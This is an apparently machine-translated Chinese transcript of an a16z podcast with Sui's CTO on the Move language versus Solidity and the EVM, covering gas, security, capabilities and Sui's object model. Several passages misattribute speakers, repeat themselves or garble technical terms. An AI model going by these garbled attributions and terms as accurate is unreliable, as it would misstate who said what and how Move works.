这是个很好的问题。我认为人们没有充分考虑这些区别，比如虚拟机层和编程语言层的区别。实际上，除了EVM和新的虚拟机层，还有很多创新，比如Viper等源代码语言。这些东西在很多方面都比Solidity更好，也很有趣。 我认为，如果Move能够成为我们期望的Web 3.0的法律标准，那么虚拟机层的创新将会是缓慢而渐进的。因为核心是固定的，我们只会添加新的东西，而不会彻底重新设计。 但是，我认为源代码语言层面的创新将会相当重要。现在，我们只有一种源代码语言，但它与字节码格式紧密相连。但是，随着越来越多的客户使用智能合约，并强调安全性，我可以想象将会有很多不同的源代码语言需要尝试，这是一个有趣的研究领域。也许你可以先写下你之前的事实，然后在程序中为你综合他们的信息，或者对限制的建议。 也许你可以从编写你的Move以前的事实开始，然后通过合成程序为你填充程序，或提出限制的建议。 比如，你可能在一个非常特定的游戏上下文中编写Move，这个游戏看起来像场景层次结构。也许它是用Python库编写的，但是编译成Move的字节码。也许你像 Solana 或其他平台一样，正在考虑整合Move，但不想整合虚拟机，而是通过将Move的字节码编译为Salina的字节码格式，然后在开发者级别使用Move源代码语言。 我认为有很多不同的方法，就像JVM（Java Virtual Machine）一样。JVM是一个美妙的通用虚拟机，最初只支持Java。但它经过了时间的考验，并且现在你有Scala、Groovy和其他一些有趣的方式来使用这些原语来设计不同的编程体验，非常符合人们想做的事情。 所以，我有一种偏见的看法，认为Viper可以给你很多在源代码语言层面进行实验的空间。 a16z Eddy Lazzarin：你对所有替代EVM字节码语言的看法如何？比如有FE、Iron和Viper等，这些有趣的努力旨在为EVM构建更智能、更复杂的语言，你对此持乐观态度吗？ Sui CTO Sam Blackshear ：所以这些都是编译成EVM字节码的不同源代码语言。 a16z Eddy Lazzarin：对，编译成EVM字节码。 Sui CTO Sam Blackshear ：我们在Facebook开始设计Move时，看到其他源代码语言构建EVM的情况时，我们研究了Solidity和Viper，这是在我们开始构建EVM的时候。我们最终得出的结论是，让人们编写安全的智能合约最困难的问题是EVM的底层性质，以及如何让类型化的值在可信边界上流动，以及动态决策等等这些问题，这些都是EVM的特性。 如果你构建一个更好的源代码语言，你可以让开发者更难搞砸。也许他们可以进行更高级的验证，但最终，Move能够提供的，而且我们认为很重要的是，代码验证器和VM级别的保护，以免受其他程序员的攻击。 源代码语言不能给你这个，必须将其内置到VM中，无论你在EVM上迭代完美源代码语言多少次，我认为Solidity很棒，我们也可以做得更好，但我认为，如果你没有这些基本的保护措施内置到VM中，你得到的结果最终会不如一些其他路径。我不是因为我认为Half很酷而感到尴尬，而是因为我认为最终状态不如其他路径那么吸引人。 我认为早期智能合约语言，特别是EVM，过度适配了平台的实现细节，这些实现细节是为以太坊设计的，内部包括了关于交易结构的指令，账户结构的指令，使用特定类型的密码学等等。 我认为这使得在一个不像以太坊那样的链上使用EVM变得非常困难，你最终不得不继承以太坊做出的许多设计决策，也许在某些情况下，还要继承一些让以太坊难以扩展的错误。 在设计Move时，我们非常清醒地意识到不要将任何区块链特有的东西加入到核心语言中，尽可能地让它与具体的区块链无关。这样你就可以拿着Move，在一个具有疯狂交易结构的工作量证明链上使用它，这个链可能是在瑞典这样做，而另一个链在澳大利亚是这样做的。 这样，你就不必押注在某个特定的链上成为一个Move开发者。你可以将你的技能跨越各种不同的链使用，包括未来的链。我们认为这对于一个智能合约语言的生存至关重要，因为一个语言最大的资产就是它的社区。而通过使你的技能跨平台，而不是过度适配于一种语言，你可以扩大社区的规模，从而更好地实现成功。然后，一个大的社区是使得在工具上投入大量资金、在公共库上投入大量资金以及所有你真正需要一个语言成为大牌并取得成功的东西变得可能。 这是我们从一开始就尝试做的事情，现在看到了多个真正不同的Move链，它们在如何整合语言方面非常不同。 a16z Eddy Lazzarin：在我看来，这是node.js底层的主题，对吧？ 主持人 Sonal Chokshi：是的。 a16z Eddy Lazzarin：有很多人知道JavaScript，他们想做很多事情。他们想共享各种库。现有的代码可以启动服务器端的JavaScript实例，这使得node变得有用。这意味着有各种各样的开发者可能不做后端编程，但可以开始进入并将其作为自己的领域。 Sui CTO Sam Blackshear ： 我认为这个对比很好。另外，我们想要谈谈关于编程语言治理的问题，因为Node显然有一些非常引人注目的治理分歧和分裂，每个编程语言社区都有许多引人注目的治理分歧和发展方向。我曾经报道过Node，它是我最喜欢的之一。但我想确保我们完成这个主题。还有别的要说的吗？我觉得你是我们广播节目中的居民老古板，我很喜欢。 a16z Noah：所以我有一个反面观点，或者说我有一个很酷的想法。我一直在想，为什么没有人建立一个Move的OP Rollup，那将会非常酷，考虑到OP的Rollup人们是在以太坊上实现的，他们使用MetaMask和ECDSA签名，但似乎并没有使用与我们相同的签名格式，比如Move似乎没有使用ECDSA。 Sui CTO Sam Blackshear ：是的，我们支持以太坊的EdDSA和ECDSA签名格式。 a16z Noah：很完美，但我的观点是，你可以构建一些非常有趣的东西。但是，当我试图学习Move时，我一直在盯着甜点和演员狗。我很困惑。 Sui CTO Sam Blackshear ：确实是一个问题，对吧？当有人开始学习Move时，他们可能会很困惑：我正在学习智能合约语言，但区块链在哪里？如果你试图为两个平台编写代码，它们之间的差异也会产生问题。所以我认为我们仍在努力解决的挑战是，选择一个平台，选择一个甜点，选择一个Optus，深入学习它，然后你会发现你的技能和代码可以很容易地转移到另一个平台上。我认为这里存在一些固有的问题，还有一些文档问题需要解决，以使这一切更加容易。 a16z Eddy Lazzarin：也许类比一下，取决于你是否认为 SQL 是一种可移植的技能。有很多 SQL 方言。有一个反 SQL，没人真正知道它是什么，但他们能学会 SQL，如果你稍微眯眼睛，你可以使用任何数据库，可能会对特定的函数名称或特定的类型有些困惑，但大致是相同的形状。 我认为这使得 SQL 很强大和耐用。这就是为什么它仍然是数据的共通语的一部分的原因。也许这就是 Move 的未来。我认为我们可以做得更好一些。 Sui CTO Sam Blackshear ：我认为在跨平台方面，这是一个很好的目标，非常应用程序特定。这就是正确的语言来谈论表格和谈论数据库。这是一个无可争议的事实，这就是为什么每个人都使用它。所以，如果 Move 能成为区块链中的 SQL，我会很高兴的。 3、智能合约编程的独特事物 主持人 Sonal Chokshi： 我们已经围绕着传统与智能合约编程、特定约束和差异以及甚至一些 Tread 和智能合约编程之间的相似之处来回讨论了。有没有关于智能合约编程的独特事物，我们没有涵盖？ a16z Eddy Lazzarin： 在智能合约上下文中，另一个非常重要的事情是资源使用，如 Solidity 中的 Gas Metering。虽然在很多情况下，计算资源是相对丰富的，计算成本也是非常重要的。但是在智能合约上下文之外或区块链上下文之外，这意味着它仅被涉及和考虑得更少。我认为在语言中有关你消耗的资源的概念可能是智能合约编程的一个有趣的资源。 Sui CTO Sam Blackshear ： 这是我们非常关注的事情，我们在 EVM 中构建了 Gas Metering，正如你所说，这与传统编程语言非常不同。 我认为今后的趋势是 Gas Meeting 会变得越来越粗粒度，更多地防止如资源滥用之类的严重问题，而不是真正地为每个指令精打细算。 我实际上认为像 Gas Golfing（Sui World注：Gas Golfing 指的是在一系列智能合约的跳转交互中，开发者编写最节省 gas 代码的挑战） 这样的东西虽然非常有趣，但实际上对编码风格和安全性都有很大的伤害。 讽刺的是，我们之所以只知道按指令收费的模型，可能是因为如果你有一个庞大的虚拟机，运行10万条指令和运行50万条指令的差别在实际测量运行时间时微不足道。 所以，我们为什么要按指令收费呢？因此，我认为我们会看到一种趋势，就是如何使这更加粗粒度。 每当我看到所有这些不安全的块和Solidity代码中的大量内联汇编时，这让我想起我们现在处于多么早期的阶段，因为这不是智能合约开发人员应该考虑的编程挑战，这不是一个成熟的开发生态系统的标志。但我们正在朝着这个方向发展。我同意我们要考虑极限情况。选择正确的算法、选择正确的数据结构、选择正确的一般方法，这是大多数软件工程的情况，都是很重要的。但关于准确计算每条指令的成本的琐碎问题可能太过繁琐了。 主持人 Sonal Chokshi： 我们谈到了优化gas，类型、资产和安全性。还有哪些限制是需要考虑的？ Sui CTO Sam Blackshear ： 这是一个类似于gas的线程，但我想到的具体子集是状态。这对我来说是一个大问题。当我考虑gas操作时，我喜欢进行极端的gas优化。 但是，当我们处理持有真实资金的实际智能合约时，我的一般建议是，除非你可以费尽心思地使用略少于之前使用的状态，否则你应该做出合理的组织。那是唯一一次我会使用大型汇编块的情况，如果你可以做出一些愚蠢的事情来使用更少的状态，因为这就像一个永远的资源，我们应该将它放在仅高于执行或调用数据的位置。 a16z Eddy Lazzarin：我完全同意这个观点，因为我认为这是根本性的昂贵的问题。如果一个平台允许每个合约都触及任何一块状态，那么它将很难实现并行化。而像 Squeeze 以及其他一些新的区块链平台所采用的方法是，显式地限定交易可以访问的状态，至少让我知道一些。这样在高层面上平台就能够更容易地将交易实现并行化，包括执行和共识。因此，这是一些程序员必须思考的问题：在访问状态时尽可能地快，不要触及不需要的状态，这样验证者才能更有效地实现并行化，实现更多的区块空间。 a16z Noah：这是否会打开一种世界，即即使在非角色扮演的情况下，不是所有验证者都需要下载全部状态？如果你能很容易地将状态分离开来，让验证者仅服务于它能处理的事务，这是否可以实现？ Sui CTO Sam Blackshear ：我认为这确实有可能实现这样的世界。这也为不同的方法开辟了一条道路。 让我回顾一下，从程序员的角度来看，能够跨不同的交易触及整个世界是非常有价值的。但是，我们不能过于强调这个优点，以至于必须通过 Rollup 或者跨多个交易来实现，因为这会降低安全性，让用户注意到。 我认为区块链的价值来自于这样的抽象：有一个账本，所有有价值的状态都在这个账本上，我可以一次性触及它们。从程序员的角度来看，这是区块链的价值所在。问题在于：如何在幕后让事情更有效地进行？如何让它变得更加稀疏，使得验证者可以更有效地进行并行化？在Sui 中，一个验证者可以有多个工作人员，每个工作人员负责一部分状态。但从程序员的角度、甚至从其他验证者的角度来看，它看起来就像是一个逻辑实体，它可以完成一切工作。 这使得存储、执行都变得更容易，而不必将这些东西编码到协议级别，并让用户和程序员来考虑。 4、智能合约编程思维方式上的改变 主持人 Sonal Chokshi： 我们刚才讨论了一些与智能合约编程相关的独特之处。还有哪些思维方式上的改变？我们已经谈到了一些，像Eddie提到的，一个巨大的转变是，在编程的世界中，至少自从计算机的早期，我们处于丰富的世界，但在这个世界中，我们处于限制的世界。那是一个思维方式的例子。还有哪些思维方式的转变？特别是对于你们每个人来说，作为你们接触智能合约编程的程序员，有什么让你们感到惊讶，或者教会了你们，或者让你们对某些事情有了不同的看法？ a16z Eddy Lazzarin： 也许一个有点傻的例子是，我还记得几年前我第一次学到ERC-20代币的余额不是你的账户拥有的东西。你的地址没有代币余额。代替它的是，有一个代币合约，记录着哪个地址有多少余额。当你想要向某人转移代币时，你不是发送给他们一些代币。相反，你需要到合约中进行所有这些低级别的操作，改变你的地址和他们的地址所持有的余额。你有权限操作和改变那个合约。这是一种非常反直觉的方式，在 EVM 和 Slippery 中这是第一次让我注意到的关于Move的一个有趣的思维方式转变。这是有趣的思维方式转变，因为我们经常听到的英文单词不一定与编程模型相对应。 Sui CTO Sam Blackshear ： 我想要补充一点，这与你在实际操作时有关。在正常的世界中，我们非常关注开发人员的生产力，因为工程师的工作是编写大量代码，让这些代码只有几个错误，并且这些错误不会太严重。而在智能合约世界中，你的工作是编写非常少量的代码，而且必须完美无缺。它必须在所有可能的方面都是完美的。否则，你将失去数亿其他人的钱。 这是一种完全不同的思维方式的转变。花费两个月的时间盯着1000行代码，并尝试想出如何使其更好、更重要的是，如何使其完美，然后审核人员也要做同样的工作，判断它是否完美。 主持人 Sonal Chokshi：这是一个大的思维转变。在编程的世界里，至少自计算机的早期以来，我们一直处于丰富的世界，但在这个世界中，我们处于一个约束的世界。 a16z Eddy Lazzarin： 另一个思维转变是，在ERC 20代币的世界里，你的地址没有代币余额。你不能发送代币，你必须去访问代币合约，在代币合约中查找地址对应的代币余额，然后通过修改地址和余额来完成代币转移。这是一种比较反直觉的思考方式，但在EVM和Move中，这是非常重要的思维转变。 Sui CTO Sam Blackshear ：在智能合约编程中，你的工作是编写一小段代码，并且必须是完美的，因为这个代码可能涉及到数亿人的资金安全。你必须仔细审查代码，确保代码的正确性。 另外，升级智能合约的难度比升级移动应用或网站更高，因为在智能合约中，代码是不可变的。在智能合约编程中，你必须考虑如何支持安全的升级和信任，使其看起来更像传统生态系统。 但是智能合约编程中，你需要拥有一个对抗性的思维方式，这对于来自其他领域的人可能很陌生。这是因为在智能合约中的部署模型，你不仅需要考虑你的应用的预期使用情况，还要考虑非预期的使用情况。因为在传统编程中，有方法可以隐藏自己，限制为一个小型 API，或使用防火墙来限制攻击者的操作等。 但智能合约的整个意义在于，你所做的可以与你从未想象过的代码进行交互，并且可以安全地实现。因此，你需要考虑这种情况下的优点和缺点。这绝对是相对于传统编程的一个思维方式的转变。 主持人 Sonal Chokshi： 这是一个非常重要的问题，也是我们讨论如何编写智能合约和使用智能合约编程语言时应该优先考虑的问题吗？ Sui CTO Sam Blackshear ： 是的，绝对是。这实际上是我最喜欢谈论的事情。这让我非常害怕，智能合约语言设计者需要考虑的问题是安全性。这是主要焦点，甚至可能是唯一的焦点，直到我们解决了这个问题。 我认为，智能合约安全对于更广泛的加密货币采用来说是一种存在性威胁。我这么说的原因是，您可以看一下以太坊和solidity，以及最流行的平台EVM和Solidity。您可以看看编写此代码的早期程序员，他们非常高素质，真正理解底层区块链，非常注重安全。他们知道自己在做什么。我认为，他们非常认真地编写管理数亿美元和数十亿美元的代码的责任。 但是，如果您看一下任何地方的智能合约安全记录，都非常糟糕，这不是这些人的错。我认为这是一个非常困难的问题。并且我认为语言使其更加困难。所以，如果您看看我最喜欢的网站rakt.news，您可以查看排行榜或查看价值数千万或数亿美元的这十个黑客，这些黑客非常惯常，每周或每月发生一次，具体取决于规模。同时，智能合约开发者社区非常小，只有约5000名全职 EVM程序员，这与传统开发者社区相比非常非常小。 因此，如果您相信我们拥有的人是最硬核且最注重安全的人员，但开发实践和安全记录是不可持续的，那么我认为您的结论是，没有任何方式可以使这个空间在没有使安全问题变得更糟的情况下继续增长，这可能意味着它根本不会增长，或者像那些想进入Web3的大型金融机构或公司一样，他们正在看着自己是否必须雇用智能合约开发者？我会被黑客攻击数千万美元并感到紧张。随着时间的推移，这种情况只会变得更糟。他们可能会保持观望。因此，作为试图设计新智能合约语言的人，安全性必须是您首先要考虑的事情。 主持人 Sonal Chokshi： 你们其实已经在不失去资产的背景下暗示了这一点，但是你们更具体地是什么意思呢，因为它非常重要？ Sui CTO Sam Blackshear ：我所说的安全性是指我们既要防止程序员自我脚踏，还要尽可能为他们提供正确的原语，以便他们能够防御攻击，因为智能合约是一个设置，您的代码部署在一个攻击者旁边，攻击者可以直接调用您的代码，可以直接与其链接。您的代码是开源的，或者至少字节码是开源的。 这是目前我们所见过的最具对抗性的编程环境，出错的代价也是最高的。因此，我认为如果你在讨论智能合约编程设计，那么安全性必须始终放在首位。一旦我们解决了安全问题，我们可以考虑其他更具表现力的因素，但这是我的有些乏味，但我认为非常重要的答案。 a16z Eddy Lazzarin：哪些特性能够影响安全性？有什么例子能够体现这一点呢？ Sui CTO Sam Blackshear ： 我认为最重要的是封装，具体来说，是封装的各个子特性。当您编写代码时，您无法预测攻击者会尝试什么，因此需要能够在没有预见到攻击者会做什么的情况下进行推理。所以，您需要一个强大的类型系统，不仅在源代码级别，而且在字节码级别都需要，这样您在编写源代码时获得的保证将在您将代码发布到区块链上、其他人依赖它并与它进行交互时继续保持。 我们观察到，在其他领域中流行的某些特性在智能合约编程中本质上是不适合的，比如动态分派。 在传统的编程中，像接口和动态分派这样的东西是关键的抽象机制，是无处不在的。您可以定义一个接口，然后其他人使用不同的逻辑重写该接口，然后您可以针对该接口进行编程，一切都非常好。但是我们有一个俏皮的说法：“在代码是法律的世界里，接口是犯罪行为。” a16z Noah： 这是个玩笑话，让我们停下来一分钟。在代码是法律的世界里，接口是犯罪行为。 主持人 Sonal Chokshi： 在您继续之前，您能否再解释一下这句话？我不想太快地跳过它。 Sui CTO Sam Blackshear ： 是的，完全正确。这里的想法是，接口不定义行为，它定义了预期行为。比如，当你阅读接口的规范、参数名称甚至类型时，它告诉你想要完成什么。但是并不能保证它就一定会发生。 所以，如果你编写的代码是用来保护某些东西的，但实际上你留下了一个空白支票供攻击者、其他人填写。这在契约法中似乎是一种犯罪。这是一个未明确规定的合同。我非常喜欢这个特性，它在传统的编程语言中很受欢迎。但我们认为，在智能合约中，这导致了许多不同的问题。例如，重新进入需要动态调度。例如，如果您取消了动态调度，则根本没有重新进入。像以太坊中的毒药代币这样的事情发生了，因为您重写了转移函数，而每个人都知道直观地说，它只是用来转移资金，也许不会做其他任何事情。但现在你让它做一些超出预期的事情，比如窃取钱财。这就是一个特性的例子，如果将其删除，那么对代码进行推理并进行适当的封装就变得更加容易了，因为每次看到一个调用点时，您都知道它将确切地做什么，您不必担心其他人以后会做出令您惊讶的事情。 a16z Eddy Lazzarin： 确切地说，我认为这个类比就像如果你定义一个关于椅子的接口，它有四条腿和一个座位，你描述的是它的具体层面，而不是行为层面，你没有描述可能是隐含或默认的关于椅子的其他事情，比如它具有某种结构完整性，它有特定的材料，它是以某种方式放置的。 a16z Eddy Lazzarin： 可能被规避，这意味着接口只是一组任意的描述，不能捕捉您想要强制执行的安全约束。 a16z Noah：这正是定义。 a16z Eddy Lazzarin：在错误的层面定义事物。我很好奇。 Sui CTO Sam Blackshear ： 但是，您如何在接口之外很好地进行模块化？如果接口是一种犯罪，我可能是一个罪犯，因为我的最喜欢构建复杂的智能合约的方式之一是喜欢有不同的合约，具有不同的目的。 而且，特别是在非常复杂的系统中，您有一个基于模块的基础，其中模块遵守某种接口，然后主要合同可以知道如何调用不同的模块。 这些模块通常通过治理方式获得许可，如何获得超级表达的即插即用的模块性？没有标准化接口？如何获得继承？ a16z Eddy Lazzarin： 这些与接口有关的所有事情都喜欢吗？ Sui CTO Sam Blackshear ： 这正是要问的正确问题。他们可以整天反对这一点，但是如何提供一些使您编写有用代码的东西？就像如果不允许您走出房子之类的事情一样，没有犯罪。但是我们做到这一点的方式是，接口和继承并不是唯一的方式，我倾向于以组合为思考方式。我们提供了几种组合原语，不需要动态调度程序接口。 其中之一是泛型。我们有运行时遗传，看起来很像您所拥有的。Clr（Sui World注：common language runtime,公共语言运行库）让我给出一个非常具体的例子，否则这很快就会变得抽象。 像您的ERC-20之类的东西,这显然是一项根本重要的加密标准。如果您的平台，您的语言无法做到这一点，那么它将没有什么用处。在像 Move 这样的语言中，您定义了一个称为t的类型点，其中t是一个泛型类型参数，然后实现了coin的函数，例如有一个函数用于将2个点连接在一起。这适用于所有coin类型。这不是某个人想要覆盖的东西。您定义拆分。 当你想让某人定制代币的行为时，使用所谓的能力模式，例如对于代币，你可能想要定制的一件事情是总供应量是多少，或者更根本的是它的政策是什么？你可以这样表达：好的，你有类型为“t”的点结构体，然后有不同的t的实例化，例如美元、英镑或其他的货币类型。对于你想要定制的东西，你在能力层面上提供它，创建一个代币的函数。你说，这是我的代币的类型参数，然后它会给你一个叫做“资金宝库能力”的东西。然后有其他的逻辑确保只有持有t的宝库能力的人才能铸造和销毁t类型的代币。你可以拿到这个宝库能力，将它锁定在一个不同的合约中，强制执行总供应量的限制。你可以将它放在某个地方，比如说只在周二评论，但不在周四评论。你倒置了控制流，这就允许你进行任意的组合。这是一个技巧的例子，但这个技巧可以在几乎所有地方使用，如果你想要让行为以某种方式工作，你需要硬编码。这听起来不好，但你实现特定的两种方法，然后你为你想允许的东西定义这些能力。 a16z Eddy Lazzarin：你认为能力是你可以添加到一个看起来像是传统程序员的接口的约束吗？ Sui CTO Sam Blackshear ： 是的，我认为大多数这些接口模式可以非常直接地变体。这有点难以编译，但是你可以说，这是这个接口想要做的事情的等效能力模式。 主持人 Sonal Chokshi：顺便问一下，Sam，你觉得这样满意吗？请随意表示异议，有点冲突感是好事。 Sui CTO Sam Blackshear ：我觉得这样还算满意，因为我认为如果你可以有具有内在能力的模块或者结构体，而这些模块可以被喂入具有非常预定义行为的模块中，你最终可以得到完全相同的行为，就像模块可以做到的那样。模块接受抽象的结构体，那个结构体在那个模块中被定义，然后这个结构体里面有一个内在的能力。这实际上非常好用，因为你可以得到非常好的权限样式注册表，它们几乎自然地从这里产生，就像什么叫做DS-Off注册表就是这样，是吧？ a16z Noah： 完全正确。这些能力是可以扩展表示你被允许做的事情。因此这有很多其他的好处。比如说，你想知道我的账户能做什么，你看看我有哪些能力就行了。然后，你可以做程序分析，看看如果我有一个宝库能力，那么我可以调用哪些函数，还有其他一些类似的东西。 5、面向对象和面向资产的编程 a16z Eddy Lazzarin：所以我可能有点提前谈到证明器，但是这些能力对类型系统可见吗？在对程序进行静态分析的时候，这些能力在程序的哪个时候是可见的？如果我写了一些特定实例化的代码，其中有能力，那么在我运行它之前，能够很早地发现我违反了能力吗？ a16z Noah： 是的，这些能力是对类型系统可见的，并且在程序的静态分析阶段就可见了。如果我写了一个具有能力的特定实例化的类型的代码，那么非常早就可以发现我是否违反了能力，不需要在虚拟机上运行它。 Sui CTO Sam Blackshear ： 让我简单回答一下这个问题，然后再提供一些背景信息，它们对编译器可见，并且是类型系统的一部分。这是我们非常重要的一个利用点。但我想稍微讲一下Move可移动性系统中的结构体，以及它如何卷入到类似于审计的能力等级中。如果这不会分散注意力的话。 在Move中，你有结构体类型和类似于其他语言的结构体，它们可以有字段，可以是基本类型的字段，也可以是其他结构体。而更加有趣，也许更加不同的是，这些结构体具有能力。如果你熟悉Rust，那么能力有点像标记交易。它们声明了你在结构体上允许进行的内置操作。 同样重要的是，如果你没有能力，你就不能做那些事情。比较简单的一个能力是非常重要的，那就是复制的能力。如果你有一个代币类型或者非同质化代币之类的东西，在计算机中，它只是一些比特，但你不希望允许别人随意复制这个东西。 在Move中，如果你没有声明你的结构体具有复制的能力，那么你就不能使用我们相当于“man copy”的操作。 所以像整数和字符串这样的东西都有复制。但如果你不想让你的类型具有复制的能力，那么你就不给它。然后还有其他的能力，比如丢弃，这被称为drop能力。这就涉及到了有趣的线性类型的东西，如果你想要丢弃某些东西，比如把它放到作用域之外，或者覆盖掉它，那么你就给它drop能力。但如果你不给drop，那么消除它的唯一方法就是定义该类型的模块所期望的任何策略。 公共语言运行库(common language runtime,CLR)举个具体的例子，如果你想为你的代币保持一个总供应量，你就不给你的代币drop能力。然后除了在声明它的模块中定义的burn函数，没有其他方式可以摆脱它，这个函数可以更新总供应量。这些都是你可以使用的技巧。还有几个与存储有关的能力，比如它是否可以存储在全局存储中，我不会详细讲述，因为它们对这个问题不太相关。但基本上，能力已经融入到审计程序中，审计程序了解类型系统，知道如何利用类型系统来解决问题。如果我编写一个说明，说只有一个这样的东西，那么审计程序可以利用这个来证明这个属性。因此，能力和类型系统的保证是相辅相成的。 a16z Noah：当你提到drop时，我就想谈谈我最喜欢的东西。你能不能谈一下热土豆模式是什么？如果还有其他类似的酷东西，它是我最喜欢的奇怪事情之一，是从Move中产生的。 Sui CTO Sam Blackshear ： 这确实是一个奇怪的东西。这与能力非常密切相关。通常在编程语言中，你对于何时可以消除你的值没有太多的控制，可能你有一个析构函数来说明你的值何时会消失。但是有时析构函数的保证比较弱，或者你不能简单地说类似于“你不能删除我的类型”。这听起来像是一个奇怪的限制，但它实际上非常有力，特别是在没有动态分派的情况下。 我先举一个热土豆的例子，然后我们可以深入了解闪电贷之类的东西。如果你在以太坊上进行闪电贷，这是一个标准，你可以重载它，基本上你公开一个回调函数，就像一个闪电贷合约，你给我钱，我的回调函数然后取回钱之类的，而在Move中，你这样做的方式是有人去闪电贷合约，他们说，“嘿，给我53块，但他们也给你所谓的热土豆对象。 热土豆对象是一个结构体，它没有能力。它没有复制，所以你不能复制它。它没有全局存储的能力，你不能像将它放在一个合约中一样将其藏起来。它也没有drop能力，所以你无法将其丢弃。因此，唯一的摆脱它的方法是将它传回闪电贷合约。让你传回它的闪电贷合约的代码，强制你还款。如果你不还，它的程序将在运行时失败，甚至不会通过类型检查。因此，这是利用有趣的能力控制你的值的破坏，作为一个程序员，可以在任何时候强加任意的不变量，以决定何时可以销毁这些对象。这些看起来很像API调用模式非常明确。另一个非常明显的例子是，如果你想要强制某人在调用unlock之后调用lock，但在两者之间可以做任何想做的事情，你也可以用这种方法实现。 a16z Eddy Lazzarin： 当我第一次听到“烫手山芋”模式时，我想到了像“mute texas”这样的锁的有趣用途，这些锁仅出于人体工程学目的，利用了类型系统，以强制特定对象的使用方式，几乎是商业逻辑级别的要求。我认为这是非常聪明的，感觉非常现代化，是编程语言中人体工程学的高质量使用方式，而这种方式在传统的编程语言中甚至还不是很常见，但在智能合约环境中显然非常有价值，因为在这里有更多的逻辑要求，要考虑可能涉及的价值和安全性。 Sui CTO Sam Blackshear ： 在我们讨论任何具体的例子之前，您能否快速概述一下我们的对象系统的高级概述？对象是什么，谁拥有它们？对象如何拥有其他对象，模块如何与它们一起工作？ a16z Noah：是的，完全正确。这是关于Move语言的一个方言，特别是Sui Move。这个东西的基础是全局存储的不同结构，而不是我们曾经使用的原始Move方言的全局存储方案。原始的Move全局存储方案非常类似于以太坊使用的公司模型。 在Sui Move中，我们希望将事物的中心点放在对象上，高度激励能够尽可能精确地表示细粒度访问。这有助于你做很多事情，我们不会在这个播客上详细介绍，比如更有效地处理事务，告诉钱包用户事务将要做什么等等。 所以在Sui Move中，全局存储的结构是一个从对象ID到对象ID的映射。然后对象只是具有一个称为键（key）的能力的Move结构。它说：“嘿，我可以作为键。”它可以出现在全局对象池中。然后每个对象必须具有一个全局唯一的ID。然后你可以为你的模块编写入口点函数，它们可以直接将对象作为输入。如果你在写一个事务，这个WeRunTime就会有对象ID。如果你写的是事务，WeRunTime就能够使用这些ID来将ID解析为对象，并将其插入函数中。 这种面向对象和面向资产的编程体验非常棒。它比我们在原始Move版本中的做法直接得多。你还提到了父对象和子对象以及对象层次结构。这非常有用，但你仍然希望能够像表示大型集合这样的东西 比如，我正在构建一个类似于DNS的注册表，我希望有数百万个条目。我们有一个对象大小限制，一个对象可以是几兆字节，但不能更大。但是如果你有像DNS这样的东西，它应该是任意大的。我们表示它的方式是使用父子对象关系，我们基本上有一种方式将一个对象视为异构映射。然后你可以添加具有动态选择字段的键。这在某种程度上非常类似于JavaScript。我们可以说，这个对象有一个映射在里面，然后我可以在这个映射里放一些东西。或者你可以说，当我定义这个对象时，它有十个字段，但我实际上想在后来添加一个新字段，我将升级我的合同。我想在事后添加一个新字段。 我们表示它的方式是使用这些父对象和子对象关系，每个子对象都与一个键值相关联，可以是任意的Move值，例如字符串或u64，或任何你想要的其他值。 a16z Noah： 是的，与父对象的概念有关，我认为让它真正成为我的“灵光一闪”的事情实际上是几个月前我花时间深入研究 Sui Move，并从写一个只有一个对象的程序一直到重新实现了大部分Uniswap V2风格的卡牌组合。我做的一个小项目真正让我意识到拥有对象的对象是如此有价值。这个项目只有三个对象，锁、金子和一个空的障碍物。有一个很基本的模块，你可以想象它可以创建由钥匙对象拥有的金子。然后唯一的取出金子的方法是有一个函数，它需要锁和钥匙，并显然销毁锁，把金子给你，然后销毁你的钥匙。这种方式非常有趣，通过这种方式，你可以描述对象之间的关系，并以非常细粒度的方式描述权限。 Sui CTO Sam Blackshear ： 这也正是我们所考虑的。我喜欢你描述三个不同对象的嵌套方式，因为这种方式在深入到更深层次时变得更加强大。这使得作为程序员更容易结构化，以确保我可以到达第二层，然后可以触及第三层，但我不能直接从第一层到达第三层。我认为这也使得对于从智能合约空间之外的程序员来说更容易理解，比如这些人非常熟悉编写对象树、DOM对象树，如果你是游戏程序员，一切都是场景层次结构，其中有一个角色，他们有一个库存，然后库存里可能有一些小东西。你可以非常直接地在Move中编码这些内容，然后类型系统允许你以非常直接和安全的方式设置这种访问控制。我认为这是一种非常实际的编程体验，它真正反映了关于现实世界的直觉，或者如何描述某些东西，然后直接转化为相关的代码。 6、Move 与 Solidity 的安全性对比 主持人 Sonal Chokshi：顺便说一下，在来到 Wired 杂志之前，我曾经在施乐公园呆了6天，这让我想起了一点关于面向对象编程的历史。你刚才说的超级有趣，因为他们发明了 Smalltalk，这是许多今天面向对象框架的早期前身。无论如何，有没有其他的话题想讨论？ a16z Noah：我只有一个普遍性的问题，但实际上，有没有在 EVM 世界中发生的黑客事件等等，你认为如果使用 Move，由于类型系统的缘故，这些事件就不会发生在第一次。 Sui CTO Sam Blackshear ：在 EVM 世界中，我们已经提到了动态分配和重入，Move 通过构造消除了重入，任何与重入相关的问题都会消失，我认为人们做得很好。现在，我认为它避免了反应和查看。 a16z Eddy Lazzarin：但是你能解释一下，为什么 Move 会让这些问题不可能发生吗？ Sui CTO Sam Blackshear ： 重入，对吧？发生了什么？你写了一些代码，调用了某个函数。问题在于，有人提供了一个你最初没有预料到的函数实现。为了实现这一点，函数调用必须是动态的。它必须调用代码，这基本上是由调用者提供的函数指针，可能是攻击者。如果你没有任何动态函数调用，如果你总是知道一个函数调用的目标，那么这根本就不可能发生，就像你调用的任何东西，你可能不知道代码做了什么，但是你知道它是什么，你可以测试它，你可以验证它，所有的东西都在那里。所以从根本上说，别人不可能提供让你的模块行为变得出乎你意料的代码，因为这只是一个静态的函数调用。太酷了。 a16z Eddy Lazzarin： 因此，这就消除了可重入攻击，这在Solidity开发中一直是一个永恒的问题。 Sui CTO Sam Blackshear ：是的，我认为Move基本上消除了智能合约编程中缺失的权限检查问题。有很多时候你在写一些代码时需要显式地传递所有的账户，并且你必须说，我是否有权做这件事。你写了一个简单的代码，但是却忘记了检查发送者是否是某个人，或者是否这个人可以访问它。我认为这些问题经常发生。 所以在Move中，对象所有权信息实际上存储在对象元数据中。这不是程序员可以控制的东西。 当你查看这些对象时，它们会说：“我由这个地址拥有”，或者“我由这个其他对象拥有”，或者“我是共享对象”或者“我是不可变对象”。程序员不能忘记检查它的所有者，因为运行时会在执行传入这个Sui 对象的代码之前进行检查。运行时会说：“我看到了这个交易中心，我看到了他们想要使用的所有对象。我正在检查他们是否实际拥有这些对象，或者它们拥有一个可以中转拥有它们的对象，以便他们有权使用它们。 